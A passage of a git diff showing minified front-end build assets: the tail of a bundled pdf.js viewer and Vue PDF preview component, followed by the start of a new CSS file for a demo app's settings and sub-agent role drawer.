t=1,n=this._pages.length;t{const n=t.pdfPage.getViewport({scale:1}),r=c1(n);if(e===void 0)e=r;else if(this.enablePrintAutoRotate&&r!==e)return{width:n.height,height:n.width,rotation:(n.rotation-90)%360};return{width:n.width,height:n.height,rotation:n.rotation}})}get optionalContentConfigPromise(){return this.pdfDocument?this._optionalContentConfigPromise?this._optionalContentConfigPromise:(console.error("optionalContentConfigPromise: Not initialized yet."),this.pdfDocument.getOptionalContentConfig({intent:"display"})):Promise.resolve(null)}set optionalContentConfigPromise(e){if(!(e instanceof Promise))throw new Error(`Invalid optionalContentConfigPromise: ${e}`);this.pdfDocument&&this._optionalContentConfigPromise&&(this._optionalContentConfigPromise=e,this.refresh(!1,{optionalContentConfigPromise:e}),this.eventBus.dispatch("optionalcontentconfigchanged",{source:this,promise:e}))}get scrollMode(){return this._scrollMode}set scrollMode(e){if(this._scrollMode!==e){if(!mT(e))throw new Error(`Invalid scroll mode: ${e}`);this.pagesCount>Ag.FORCE_SCROLL_MODE_PAGE||(this._previousScrollMode=this._scrollMode,this._scrollMode=e,this.eventBus.dispatch("scrollmodechanged",{source:this,mode:e}),this._updateScrollMode(this._currentPageNumber))}}_updateScrollMode(e=null){const t=this._scrollMode,n=this.viewer;n.classList.toggle("scrollHorizontal",t===St.HORIZONTAL),n.classList.toggle("scrollWrapped",t===St.WRAPPED),!(!this.pdfDocument||!e)&&(t===St.PAGE?A(this,rt,md).call(this):this._previousScrollMode===St.PAGE&&this._updateSpreadMode(),this._currentScaleValue&&isNaN(this._currentScaleValue)&&A(this,rt,Gs).call(this,this._currentScaleValue,{noScroll:!0}),this._setCurrentPageNumber(e,!0),this.update())}get spreadMode(){return this._spreadMode}set spreadMode(e){if(this._spreadMode!==e){if(!vT(e))throw new Error(`Invalid spread mode: ${e}`);this._spreadMode=e,this.eventBus.dispatch("spreadmodechanged",{source:this,mode:e}),this._updateSpreadMode(this._currentPageNumber)}}_updateSpreadMode(e=null){if(!this.pdfDocument)return;const t=this.viewer,n=this._pages;if(this._scrollMode===St.PAGE)A(this,rt,md).call(this);else if(t.textContent="",this._spreadMode===tn.NONE)for(const r of this._pages)t.append(r.div);else{const r=this._spreadMode-1;let i=null;for(let s=0,o=n.length;s=t)return!1;const n=A(this,rt,J0).call(this,e,!1)||1;return this.currentPageNumber=Math.min(e+n,t),!0}previousPage(){const e=this._currentPageNumber;if(e<=1)return!1;const t=A(this,rt,J0).call(this,e,!0)||1;return this.currentPageNumber=Math.max(e-t,1),!0}updateScale({drawingDelay:e,scaleFactor:t=null,steps:n=null,origin:r}){if(n===null&&t===null)throw new Error("Invalid updateScale options: either `steps` or `scaleFactor` must be provided.");if(!this.pdfDocument)return;let i=this._currentScale;if(t>0&&t!==1)i=Math.round(i*t*100)/100;else if(n){const s=n>0?a1:1/a1,o=n>0?Math.ceil:Math.floor;n=Math.abs(n);do i=o((i*s).toFixed(2)*10)/10;while(--n>0)}i=XC(i,hT,uT),A(this,rt,Gs).call(this,i,{noScroll:!1,drawingDelay:e,origin:r})}increaseScale(e={}){this.updateScale({...e,steps:e.steps??1})}decreaseScale(e={}){this.updateScale({...e,steps:-(e.steps??1)})}get containerTopLeft(){return a(this,Xp)||g(this,Xp,[this.container.offsetTop,this.container.offsetLeft])}get annotationEditorMode(){return a(this,Ne)?a(this,vr):vn.DISABLE}set annotationEditorMode({mode:e,editId:t=null,isFromKeyboard:n=!1,mustEnterInEditMode:r=!1,editComment:i=!1}){if(!a(this,Ne))throw new Error("The AnnotationEditor is not enabled.");if(a(this,vr)===e)return;if(!B1(e))throw new Error(`Invalid AnnotationEditor mode: ${e}`);if(!this.pdfDocument)return;A(this,rt,q0).call(this,e);const{eventBus:s,pdfDocument:o}=this,l=async()=>{A(this,rt,ym).call(this),g(this,vr,e),await a(this,Ne).updateMode(e,t,!0,n,r,i),!(e!==a(this,vr)||o!==this.pdfDocument)&&s.dispatch("annotationeditormodechanged",{source:this,mode:e})};if(e===vn.NONE||a(this,vr)===vn.NONE){const u=e!==vn.NONE;u||this.pdfDocument.annotationStorage.resetModifiedIds(),this.cleanup();for(const d of this._pages)d.toggleEditingMode(u);const c=A(this,rt,cx).call(this);if(u&&c){A(this,rt,ym).call(this),g(this,ah,new AbortController);const d=AbortSignal.any([a(this,io).signal,a(this,ah).signal]);s._on("pagerendered",({pageNumber:f})=>{c.delete(f),c.size===0&&g(this,oh,setTimeout(l,0))},{signal:d});return}}l()}refresh(e=!1,t=Object.create(null)){if(this.pdfDocument){for(const n of this._pages)n.update(t);A(this,rt,Q0).call(this),e||this.update()}}}Ps=new WeakMap,zp=new WeakMap,Gp=new WeakMap,vr=new WeakMap,Ne=new WeakMap,ih=new WeakMap,sh=new WeakMap,Xp=new WeakMap,_p=new WeakMap,Yp=new WeakMap,Kp=new WeakMap,Jp=new WeakMap,Zp=new WeakMap,Qp=new WeakMap,qp=new WeakMap,io=new WeakMap,tg=new WeakMap,Cc=new WeakMap,Is=new WeakMap,$r=new WeakMap,ah=new WeakMap,oh=new WeakMap,Tc=new WeakMap,so=new WeakMap,eg=new WeakMap,Pc=new WeakMap,lh=new WeakMap,Rs=new WeakMap,Ic=new WeakMap,ng=new WeakMap,Rc=new WeakMap,rg=new WeakMap,ao=new WeakMap,yr=new WeakMap,oo=new WeakMap,rt=new WeakSet,ax=function(e){const t={annotationEditorMode:a(this,vr),annotationMode:a(this,ih),textLayerMode:a(this,Rc)};return e?(g(this,Is,e.includes(gh.PRINT_HIGH_QUALITY)||e.includes(gh.PRINT)),this.eventBus.dispatch("printingallowed",{source:this,isAllowed:a(this,Is)}),!e.includes(gh.COPY)&&a(this,Rc)===Ei.ENABLE&&(t.textLayerMode=Ei.ENABLE_PERMISSIONS),e.includes(gh.MODIFY_CONTENTS)||(t.annotationEditorMode=vn.DISABLE),!e.includes(gh.MODIFY_ANNOTATIONS)&&!e.includes(gh.FILL_INTERACTIVE_FORMS)&&a(this,ih)===xi.ENABLE_FORMS&&(t.annotationMode=xi.ENABLE),t):(g(this,Is,!0),this.eventBus.dispatch("printingallowed",{source:this,isAllowed:a(this,Is)}),t)},ox=async function(e){if(document.visibilityState==="hidden"||!this.container.offsetParent||this._getVisiblePages().views.length===0)return;const t=Promise.withResolvers(),n=new AbortController;document.addEventListener("visibilitychange",()=>{document.visibilityState==="hidden"&&t.resolve()},{signal:AbortSignal.any([e,n.signal])}),await Promise.race([this._onePageRenderedCapability.promise,t.promise]),n.abort()},lx=function(e,t){const n=document.getSelection(),{focusNode:r,anchorNode:i}=n;if(i&&r&&n.containsNode(a(this,so))){if(a(this,Tc)||e===Ei.ENABLE_PERMISSIONS){m0(t);return}g(this,Tc,!0);const{classList:s}=this.viewer;s.add("copyAll");const o=new AbortController,l=new AbortController;window.addEventListener("keydown",u=>{u.key==="Escape"&&l.abort()},{signal:o.signal}),this.getAllText(l.signal).then(async u=>{u!==null&&await navigator.clipboard.writeText(u)}).catch(u=>{console.warn(`Something goes wrong when extracting the text: ${u.message}`)}).finally(()=>{g(this,Tc,!1),o.abort(),s.remove("copyAll")}),m0(t)}},md=function(){if(this._scrollMode!==St.PAGE)throw new Error("#ensurePageViewVisible: Invalid scrollMode value.");const e=this._currentPageNumber,t=a(this,lh),n=this.viewer;if(n.textContent="",t.pages.length=0,this._spreadMode===tn.NONE&&!this.isInPresentationMode){const r=this._pages[e-1];n.append(r.div),t.pages.push(r)}else{const r=new Set,i=this._spreadMode-1;i===-1?r.add(e-1):e%2!==i?(r.add(e-1),r.add(e)):(r.add(e-2),r.add(e-1));const s=document.createElement("div");if(s.className="spread",this.isInPresentationMode){const o=document.createElement("div");o.className="dummyPage",s.append(o)}for(const o of r){const l=this._pages[o];l&&(s.append(l.div),t.pages.push(l))}n.append(s)}t.scrollDown=e>=t.previousPageNumber,t.previousPageNumber=e},vm=function(e,t=null){const{div:n,id:r}=e;if(this._currentPageNumber!==r&&this._setCurrentPageNumber(r),this._scrollMode===St.PAGE&&(A(this,rt,md).call(this),this.update()),!t&&!this.isInPresentationMode){const i=n.offsetLeft+n.clientLeft,s=i+n.clientWidth,{scrollLeft:o,clientWidth:l}=this.container;(this._scrollMode===St.HORIZONTAL||io+l)&&(t={left:0,top:0})}dT(n,t),!this._currentScaleValue&&this._location&&(this._location=null)},hx=function(e){return e===this._currentScale||Math.abs(e-this._currentScale)<1e-15},Y0=function(e,t,{noScroll:n=!1,preset:r=!1,drawingDelay:i=-1,origin:s=null}){if(this._currentScaleValue=t.toString(),A(this,rt,hx).call(this,e)){r&&this.eventBus.dispatch("scalechanging",{source:this,scale:e,presetValue:t});return}this.viewer.style.setProperty("--scale-factor",e*Li.PDF_TO_CSS_UNITS);const o=i>=0&&i<1e3;this.refresh(!0,{scale:e,drawingDelay:o?i:-1}),o&&g(this,Rs,setTimeout(()=>{g(this,Rs,null),this.refresh()},i));const l=this._currentScale;if(this._currentScale=e,!n){let u=this._currentPageNumber,c;if(this._location&&!(this.isInPresentationMode||this.isChangingPresentationMode)&&(u=this._location.pageNumber,c=[null,{name:"XYZ"},this._location.left,this._location.top,null]),this.scrollPageIntoView({pageNumber:u,destArray:c,allowNegativeOffset:!0}),Array.isArray(s)){const d=e/l-1,[f,p]=this.containerTopLeft;this.container.scrollLeft+=(s[0]-p)*d,this.container.scrollTop+=(s[1]-f)*d}}this.eventBus.dispatch("scalechanging",{source:this,scale:e,presetValue:r?t:void 0}),this.defaultRenderingQueue&&this.update()},ux=function(){return this._spreadMode!==tn.NONE&&this._scrollMode!==St.HORIZONTAL?2:1},Gs=function(e,t){let n=parseFloat(e);if(n>0)t.preset=!1,A(this,rt,Y0).call(this,n,e,t);else{const r=this._pages[this._currentPageNumber-1];if(!r)return;let i=o1,s=l1;this.isInPresentationMode?(i=s=4,this._spreadMode!==tn.NONE&&(i*=2)):this.removePageBorders?i=s=0:this._scrollMode===St.HORIZONTAL&&([i,s]=[s,i]);const o=(this.container.clientWidth-i)/r.width*r.scale/a(this,rt,ux),l=(this.container.clientHeight-s)/r.height*r.scale;switch(e){case"page-actual":n=1;break;case"page-width":n=o;break;case"page-height":n=l;break;case"page-fit":n=Math.min(o,l);break;case"auto":const u=c1(r)?o:Math.min(l,o);n=Math.min(cT,u);break;default:console.error(`#setScale: "${e}" is an unknown zoom value.`);return}t.preset=!0,A(this,rt,Y0).call(this,n,e,t)}},K0=function(){const e=this._pages[this._currentPageNumber-1];this.isInPresentationMode&&A(this,rt,Gs).call(this,this._currentScaleValue,{noScroll:!0}),A(this,rt,vm).call(this,e)},cx=function(){const e=this._getVisiblePages(),t=[],{ids:n,views:r}=e;for(const i of r){const{view:s}=i;if(!s.hasEditableAnnotations()){n.delete(s.id);continue}t.push(i)}return t.length===0?null:(this.renderingQueue.renderHighestPriority({first:t[0],last:t.at(-1),views:t,ids:n}),n)},dx=async function(e){if(e.pdfPage)return e.pdfPage;try{const t=await this.pdfDocument.getPage(e.id);return e.pdfPage||e.setPdfPage(t),t}catch(t){return console.error("Unable to get page for page view",t),null}},fx=function(e){var t,n;if(((t=e.first)==null?void 0:t.id)===1)return!0;if(((n=e.last)==null?void 0:n.id)===this.pagesCount)return!1;switch(this._scrollMode){case St.PAGE:return a(this,lh).scrollDown;case St.HORIZONTAL:return this.scroll.right}return this.scroll.down},J0=function(e,t=!1){switch(this._scrollMode){case St.WRAPPED:{const{views:n}=this._getVisiblePages(),r=new Map;for(const{id:i,y:s,percent:o,widthPercent:l}of n)o===0||l<100||r.getOrInsertComputed(s,zC).push(i);for(const i of r.values()){const s=i.indexOf(e);if(s===-1)continue;const o=i.length;if(o===1)break;if(t)for(let l=s-1,u=0;l>=u;l--){const c=i[l],d=i[l+1]-1;if(cd)return d-e}if(t){const l=i[0];if(le)return l-e+1}break}break}case St.HORIZONTAL:break;case St.PAGE:case St.VERTICAL:{if(this._spreadMode===tn.NONE)break;const n=this._spreadMode-1;if(t&&e%2!==n)break;if(!t&&e%2===n)break;const{views:r}=this._getVisiblePages(),i=t?e-1:e+1;for(const{id:s,percent:o,widthPercent:l}of r)if(s===i){if(o>0&&l===100)return 2;break}break}}return 1},Z0=function(e=this.container.clientHeight){e!==a(this,eg)&&(g(this,eg,e),yT.setProperty("--viewer-container-height",`${e}px`))},px=function(e){for(const t of e)if(t.target===this.container){A(this,rt,Z0).call(this,Math.floor(t.borderBoxSize[0].blockSize)),g(this,Xp,null);break}},Q0=function(){a(this,Rs)!==null&&(clearTimeout(a(this,Rs)),g(this,Rs,null)),a(this,$r)!==null&&(clearTimeout(a(this,$r)),g(this,$r,null))},ym=function(){var e;(e=a(this,ah))==null||e.abort(),g(this,ah,null),a(this,oh)!==null&&(clearTimeout(a(this,oh)),g(this,oh,null))},q0=function(e){var t,n;switch(e){case vn.STAMP:(t=a(this,Cc))==null||t.loadModel("altText");break;case vn.SIGNATURE:(n=a(this,Ic))==null||n.loadSignatures();break}};class JP extends sx{_resetView(){super._resetView(),this._scrollMode=St.PAGE,this._spreadMode=tn.NONE}set scrollMode(e){}_updateScrollMode(){}set spreadMode(e){}_updateSpreadMode(){}}globalThis.pdfjsViewer={AnnotationLayerBuilder:Rw,DownloadManager:DT,EventBus:mb,FindState:zs,GenericL10n:Oc,LinkTarget:bo,parseQueryString:xv,PDFFindController:IT,PDFHistory:FP,PDFLinkService:pb,PDFPageView:Dm,PDFScriptingManager:XP,PDFSinglePageViewer:JP,PDFViewer:sx,ProgressBar:bT,RenderingStates:Rt,ScrollMode:St,SimpleLinkService:gb,SpreadMode:tn,StructTreeLayerBuilder:Yw,TextLayerBuilder:Fm,XfaLayerBuilder:qw};var ZP=Object.defineProperty,QP=(h,e,t)=>e in h?ZP(h,e,{enumerable:!0,configurable:!0,writable:!0,value:t}):h[e]=t,po=(h,e,t)=>QP(h,typeof e!="symbol"?e+"":e,t);function qP(h,e,t){const n=h.contentWindow.document.createElement("style");n.textContent=` + @page { + margin: 3mm; + size: ${e}pt ${t}pt; + } + body { + margin: 0; + } + canvas { + width: 100%; + page-break-before: avoid; + break-before: avoid; + page-break-inside: avoid; + break-inside: avoid; + } + canvas:not(:last-child) { + page-break-after: always; + break-after: page; + } + `,h.contentWindow.document.head.appendChild(n),h.contentWindow.document.body.style.width="100%"}function tI(h){return new Promise(e=>{const t=document.createElement("iframe");t.width="0",t.height="0",t.style.position="absolute",t.style.top="0",t.style.left="0",t.style.border="none",t.style.overflow="hidden",t.onload=()=>e(t),h.appendChild(t)})}function eI(h,e){const t=URL.createObjectURL(new Blob([h],{type:"application/pdf"})),n=document.createElement("a");n.href=t,n.download=e,n.style.display="none",document.body.append(n),n.click(),setTimeout(()=>{URL.revokeObjectURL(t),document.body.removeChild(n)},1e3)}function k1(h){for(;h!=null&&h.firstChild;)h.removeChild(h.firstChild)}function j1(h){return h?Object.prototype.hasOwnProperty.call(h,"_pdfInfo"):!1}function gx(h){var e;h.width=1,h.height=1,(e=h.getContext("2d"))==null||e.clearRect(0,0,1,1)}function Om(h){h==null||h.querySelectorAll("canvas").forEach(gx)}function nI({onError:h,onPasswordRequest:e,onProgress:t,source:n}){const r=Am(null),i=Am(null);return Ex(async()=>{const s=Tb(n);if(s){if(j1(s)){r.value=s;return}}else return;try{i.value=lE(s),e&&(i.value.onPassword=(o,l)=>{e({callback:o,isWrongPassword:l===W1.INCORRECT_PASSWORD})}),t&&(i.value.onProgress=t),r.value=await i.value.promise}catch(o){if(r.value=null,h)h(o);else throw o}}),$v(r,(s,o)=>{o==null||o.destroy()}),tb(()=>{var s,o,l,u;(s=i.value)!=null&&s.onPassword&&(i.value.onPassword=null),(o=i.value)!=null&&o.onProgress&&(i.value.onProgress=null),(l=i.value)==null||l.destroy(),j1(Tb(n))||(u=r.value)==null||u.destroy()}),{doc:r,download:async s=>{if(!r.value)return;const o=r.value.annotationStorage.size?await r.value.saveDocument():await r.value.getData(),l=await r.value.getMetadata(),u=s??l.contentDispositionFilename??"";eI(o,u)},print:async(s=300,o="",l)=>{var u,c,d,f;if(!r.value)return;const p=s/72,m=96/72;let v,y,E;try{v=window.document.createElement("div"),v.style.display="none",window.document.body.appendChild(v),y=await tI(v);const S=Math.max(3,Math.floor(10*(300/s))),w=l?Array.isArray(l)?l:[l]:[...Array(r.value.numPages+1).keys()].slice(1);for(let C=0;C{const I=await r.value.getPage(x),F=I.getViewport({scale:1,rotation:0});if(C+T===0){const D=F.width*p/m,k=F.height*p/m;qP(y,D,k)}const P=window.document.createElement("canvas");P.width=F.width*p,P.height=F.height*p,v.appendChild(P);const R=P.cloneNode();y.contentWindow.document.body.appendChild(R),await I.render({annotationMode:Ds.ENABLE_STORAGE,canvas:P,intent:"print",transform:[p,0,0,p,0,0],viewport:F}).promise,R.getContext("2d").drawImage(P,0,0),gx(P)}));o&&(E=window.document.title,window.document.title=o),(u=y.contentWindow)==null||u.focus(),(c=y.contentWindow)==null||c.print()}finally{E&&(window.document.title=E),Om((d=y.contentWindow)==null?void 0:d.document.body),Om(v),(f=v.parentNode)==null||f.removeChild(v)}}}}class rI{constructor({findController:e,pageIndex:t}){po(this,"abortController",null),po(this,"enabled",!1),po(this,"findController"),po(this,"matches",[]),po(this,"pageIndex"),po(this,"textContentItemsStr",[]),po(this,"textDivs",[]),this.findController=e,this.pageIndex=t}setTextMapping(e,t){this.textDivs=e,this.textContentItemsStr=t}enable(){this.enabled||(this.enabled=!0,this.abortController||(this.abortController=new AbortController,this.findController._eventBus.on("updatetextlayermatches",e=>{(e.pageIndex===this.pageIndex||e.pageIndex===-1)&&this.updateMatches()},{signal:this.abortController.signal})),this.updateMatches())}disable(){var e;this.enabled&&(this.enabled=!1,(e=this.abortController)==null||e.abort(),this.abortController=null,this.updateMatches(!0))}convertMatches(e,t){if(!e||!t)return[];const n=this.textContentItemsStr.length-1,r=[];let i=0,s=0;return e.forEach((o,l)=>{let u=o;for(;i!==n&&u>=s+this.textContentItemsStr[i].length;)s+=this.textContentItemsStr[i].length,i++;const c={divIndex:i,offset:u-s};for(u+=t[l];i!==n&&u>s+this.textContentItemsStr[i].length;)s+=this.textContentItemsStr[i].length,i++;const d={divIndex:i,offset:u-s};r.push({begin:c,end:d})}),r}appendTextToDiv(e,t,n,r){let i=this.textDivs[e];if(i.nodeType===Node.TEXT_NODE){const l=document.createElement("span");i.before(l),l.append(i),this.textDivs[e]=l,i=l}const s=this.textContentItemsStr[e].substring(t,n),o=document.createTextNode(s);if(r){const l=document.createElement("span");return l.className=`${r} appended`,l.append(o),i.append(l),r.includes("selected")?l:null}return i.append(o),null}renderMatches(e){var t,n,r;if(e.length===0)return;const i=this.pageIndex===((t=this.findController.selected)==null?void 0:t.pageIdx),s=((n=this.findController.selected)==null?void 0:n.matchIdx)??0,o=(r=this.findController.state)==null?void 0:r.highlightAll;if(!o&&!i)return;const l=o?0:s,u=o?e.length:s+1,c=(m,v)=>(this.textDivs[m.divIndex].textContent="",this.appendTextToDiv(m.divIndex,0,m.offset,v));let d=null,f=-1,p=-1;for(let m=l;m{C.className="highlight middle"+S}),c(y,"highlight end"+S)),d=y,E&&this.findController.scrollMatchIntoView({element:w,pageIndex:this.pageIndex,matchIndex:s})}d&&this.appendTextToDiv(d.divIndex,d.offset,void 0)}updateMatches(e=!1){var t,n;if(!this.enabled&&!e)return;let r=-1;if(this.matches.forEach(o=>{const l=Math.max(r,o.begin.divIndex);this.textDivs.slice(l,o.end.divIndex+1).forEach((u,c)=>{u.textContent=this.textContentItemsStr[l+c],u.className=""}),r=o.end.divIndex+1}),!this.findController.highlightMatches||e)return;const i=((t=this.findController.pageMatches)==null?void 0:t[this.pageIndex])??null,s=((n=this.findController.pageMatchesLength)==null?void 0:n[this.pageIndex])??null;this.matches=this.convertMatches(i,s),this.renderMatches(this.matches)}}const iI=["id"],sI=["id"],aI={key:0,class:"textLayer"},oI={key:1,class:"annotationLayer"},lI=V1({__name:"VuePdfEmbed",props:{annotationLayer:{type:Boolean},findController:{},forms:{type:Boolean},height:{},id:{},imageResourcesPath:{},linkService:{},page:{},rotation:{default:0},scale:{default:1},source:{},textLayer:{type:Boolean},width:{}},emits:["internal-link-clicked","loaded","loading-failed","password-requested","progress","rendered","rendering-failed"],setup(h,{expose:e,emit:t}){const n=h,r=t,i=Am([]),s=Vc([]),o=Am(null);let l=[],u=null;const{doc:c,download:d,print:f}=nI({onError:w=>{i.value=[],r("loading-failed",w)},onPasswordRequest({callback:w,isWrongPassword:C}){r("password-requested",{callback:w,isWrongPassword:C})},onProgress:w=>{r("progress",w)},source:wx(n,"source")}),p=xx(()=>{if(!c.value||!n.annotationLayer)return null;if(n.linkService)return n.linkService;const w=new pb({eventBus:new mb});return w.setDocument(c.value),w.setViewer({scrollPageIntoView:({pageNumber:C})=>{r("internal-link-clicked",C)}}),w}),m=w=>{let C,x;return n.height&&!n.width?(x=n.height,C=x/w):(C=n.width??o.value.clientWidth,x=C*w),[C,x]},v=async()=>{if(!(!c.value||u!=null&&u.isAborted))try{l.forEach(w=>w.disable()),l=[],i.value=n.page?Array.isArray(n.page)?n.page:[n.page]:[...Array(c.value.numPages+1).keys()].slice(1),s.value=Array(i.value.length).fill(1),await Promise.all(i.value.map(async(w,C)=>{const x=await c.value.getPage(w);if(u!=null&&u.isAborted)return;const T=((n.rotation%90===0?n.rotation:0)+x.rotate)%360,[I,F,P]=Array.from(o.value.getElementsByClassName("vue-pdf-embed__page")[C].children),R=!!(T/90%2),D=x.view[2]-x.view[0],k=x.view[3]-x.view[1],[N,H]=m(R?D/k:k/D),X=N/(R?k:D),j=x.getViewport({scale:X,rotation:T});s.value[C]=X,I.style.display="block",I.style.width=`${Math.floor(N)}px`,I.style.height=`${Math.floor(H)}px`;const U=[y(x,j.clone({scale:j.scale*window.devicePixelRatio*n.scale}),I)];return n.textLayer&&U.push(S(x,j.clone({dontFlip:!0}),F)),n.annotationLayer&&U.push(E(x,j.clone({dontFlip:!0}),P||F)),Promise.all(U)})),u!=null&&u.isAborted||r("rendered")}catch(w){i.value=[],s.value=[],u!=null&&u.isAborted||r("rendering-failed",w)}},y=async(w,C,x)=>{x.width=C.width,x.height=C.height,await w.render({canvas:x,viewport:C}).promise},E=async(w,C,x)=>{k1(x),await new CE({accessibilityManager:null,annotationCanvasMap:null,annotationEditorUIManager:null,annotationStorage:c.value.annotationStorage,commentManager:null,div:x,linkService:p.value,page:w,structTreeLayer:null,viewport:C}).render({annotations:await w.getAnnotations(),div:x,imageResourcesPath:n.imageResourcesPath,linkService:p.value,page:w,renderForms:!!n.forms,viewport:C})},S=async(w,C,x)=>{k1(x);const T=new xm({container:x,textContentSource:await w.getTextContent(),viewport:C});await T.render();const I=document.createElement("div");if(I.className="endOfContent",x.append(I),n.findController){const F=new rI({findController:n.findController,pageIndex:w.pageNumber-1});F.setTextMapping(T.textDivs,T.textContentItemsStr),F.enable(),l.push(F)}};return $v(c,w=>{w&&r("loaded",w)},{immediate:!0}),$v(()=>[c.value,n.annotationLayer,n.findController,n.forms,n.height,n.imageResourcesPath,n.page,n.rotation,n.scale,n.textLayer,n.width],async([w])=>{w&&(u&&(u.isAborted=!0,await u.promise),Om(o.value),u={isAborted:!1,promise:v()},await u.promise,u=null)},{immediate:!0}),tb(()=>{l.forEach(w=>w.disable()),Om(o.value)}),e({doc:c,download:d,print:(w,C,x=!1)=>f(w,C,x?void 0:n.page)}),(w,C)=>(Fs(),_s("div",{id:w.id,ref_key:"root",ref:o,class:"vue-pdf-embed"},[(Fs(!0),_s(yx,null,bx(i.value,(x,T)=>(Fs(),_s("div",{key:x},[Sb(w.$slots,"before-page",{page:x}),bm("div",{id:w.id&&`${w.id}-${x}`,class:"vue-pdf-embed__page",style:Ax({"--scale-round-x":"1px","--scale-round-y":"1px","--total-scale-factor":s.value[T],position:"relative"})},[C[0]||(C[0]=bm("canvas",null,null,-1)),w.textLayer?(Fs(),_s("div",aI)):Cb("",!0),w.annotationLayer?(Fs(),_s("div",oI)):Cb("",!0)],12,sI),Sb(w.$slots,"after-page",{page:x})]))),128))],8,iI))}}),hI="/static/dist/assets/pdf.worker.min.mjs",uI={key:0,class:"pdf-preview-loading"},cI={key:1,class:"pdf-preview-error"},dI=V1({name:"PdfPreview",__name:"PdfPreview",props:{source:{}},setup(h){Ys.workerSrc=hI;const e=h,t=Vc(null),n=Vc(void 0),r=Vc(!0),i=Vc("");let s=null,o=null;function l(){const p=t.value;if(!p)return;const m=p.getBoundingClientRect();n.value=m.width>0?Math.floor(m.width):void 0}Sx(()=>{l(),typeof ResizeObserver<"u"&&t.value?(s=new ResizeObserver(()=>l()),s.observe(t.value)):(o=()=>l(),window.addEventListener("resize",o))}),tb(()=>{s&&(s.disconnect(),s=null),o&&(window.removeEventListener("resize",o),o=null)});function u(){console.log("[PdfPreview] loaded"),r.value=!1}function c(){console.log("[PdfPreview] rendered"),r.value=!1}function d(p){console.error("[PdfPreview] loading-failed",p),r.value=!1,i.value=(p==null?void 0:p.message)||"PDF 加载失败"}function f(p){console.error("[PdfPreview] rendering-failed",p),r.value=!1,i.value=(p==null?void 0:p.message)||"PDF 渲染失败"}return(p,m)=>(Fs(),_s("div",{ref_key:"containerRef",ref:t,class:"pdf-preview"},[r.value?(Fs(),_s("div",uI,[...m[0]||(m[0]=[bm("span",{class:"pdf-preview-spinner"},null,-1),bm("span",null,"PDF 加载中...",-1)])])):i.value?(Fs(),_s("div",cI,Cx(i.value),1)):(Fs(),Tx(Px(lI),{key:2,source:e.source,width:n.value,"text-layer":!1,"annotation-layer":!1,onLoaded:u,onLoadingFailed:d,onRendered:c,onRenderingFailed:f},null,8,["source","width"]))],512))}}),sR=Ix(dI,[["__scopeId","data-v-812b5a52"]]);export{sR as default}; diff --git a/demo/static/dist/assets/PersonalizationDrawer.css b/demo/static/dist/assets/PersonalizationDrawer.css new file mode 100644 index 0000000..7defa74 --- /dev/null +++ b/demo/static/dist/assets/PersonalizationDrawer.css @@ -0,0 +1 @@ +.sub-agent-role-list[data-v-6ee16aed]{display:flex;flex-direction:column;gap:8px}.sub-agent-role-card[data-v-6ee16aed]{display:flex;align-items:flex-start;justify-content:space-between;padding:11px 0;border-bottom:1px solid var(--theme-control-border)}.sub-agent-role-info[data-v-6ee16aed]{flex:1;min-width:0}.sub-agent-role-name[data-v-6ee16aed]{font-size:14px;font-weight:550;color:var(--text-primary);display:flex;align-items:center;gap:6px}.sub-agent-role-tag[data-v-6ee16aed]{font-size:10px;padding:1px 8px;border-radius:999px;font-weight:400}.sub-agent-role-tag.tag-preset[data-v-6ee16aed]{background:color-mix(in srgb,var(--text-secondary) 15%,transparent);color:var(--text-secondary)}.sub-agent-role-tag.tag-custom[data-v-6ee16aed]{background:color-mix(in srgb,var(--accent) 15%,transparent);color:var(--accent)}.sub-agent-role-desc[data-v-6ee16aed]{font-size:12.5px;color:var(--text-secondary);margin-top:3px;line-height:1.38}.sub-agent-role-meta[data-v-6ee16aed]{font-size:11px;color:var(--text-secondary);opacity:.7;margin-top:2px}.sub-agent-role-actions[data-v-6ee16aed]{display:flex;gap:6px;flex-shrink:0}.role-editor-drawer-overlay[data-v-6ee16aed]{position:fixed;top:0;right:0;bottom:0;left:0;background:var(--overlay-scrim);display:flex;align-items:center;justify-content:center;z-index:2147483647}.role-editor-drawer-card[data-v-6ee16aed]{display:flex;flex-direction:column;overflow:visible}.role-editor-header[data-v-6ee16aed]{display:flex;align-items:center;justify-content:space-between;margin-bottom:8px;flex-shrink:0}.role-editor-header h2[data-v-6ee16aed]{font-size:20px;font-weight:600;color:var(--text-primary);margin:0}.role-editor-body[data-v-6ee16aed]{flex:1;overflow-y:auto;overflow-x:visible;min-height:0;scrollbar-width:none;-ms-overflow-style:none}.role-editor-footer[data-v-6ee16aed]{display:flex;justify-content:flex-end;gap:8px;padding-top:12px;flex-shrink:0}.settings-section-header[data-v-6ee16aed]{display:flex;align-items:center;justify-content:space-between;margin-bottom:8px}.settings-section-title[data-v-6ee16aed]{font-size:14px;font-weight:550;color:var(--text-primary)}.settings-empty-hint[data-v-6ee16aed]{color:var(--text-secondary);font-size:13px;padding:24px 0;text-align:center}.settings-redesign-card[data-v-6ee16aed]{--settings-floating-menu-bg: color-mix(in srgb, var(--surface-soft) 90%, var(--surface-raised));--settings-floating-menu-hover: var(--hover-bg);--settings-floating-menu-shadow: none;--settings-tab-hover-bg: var(--theme-tab-active);--settings-tab-active-bg: var(--theme-tab-active);position:relative;width:min(70vw,calc(100vw - 24px));height:min(80vh,calc(100vh - 24px));padding:30px 42px 24px;border-radius:32px;overflow:visible;background:var(--theme-surface-soft);border:1px solid var(--theme-control-border);box-shadow:none}html[data-theme=dark],body[data-theme=dark]{--settings-floating-menu-bg: var(--surface-panel);--settings-floating-menu-hover: var(--hover-bg);--settings-floating-menu-shadow: none;--settings-tab-hover-bg: var(--hover-bg);--settings-tab-active-bg: var(--hover-bg)}.settings-close-button[data-v-6ee16aed]{position:absolute;top:27px;left:45px;width:42px;height:42px;border:0;border-radius:50%;background:transparent;color:var(--text-primary);display:grid;place-items:center;cursor:pointer;z-index:3}.settings-close-button[data-v-6ee16aed]:hover{background:var(--hover-bg)}.settings-close-button svg[data-v-6ee16aed]{width:25px;height:25px;stroke-width:2.15}.settings-redesign-body[data-v-6ee16aed],.settings-redesign-form[data-v-6ee16aed]{height:100%;min-height:0}.settings-redesign-layout[data-v-6ee16aed]{height:100%;display:grid;grid-template-columns:minmax(190px,2fr) minmax(0,8fr);column-gap:34px;min-height:0}.settings-redesign-tabs[data-v-6ee16aed]{margin-top:68px;height:calc(100% - 68px);padding-right:28px;border-right:1px solid 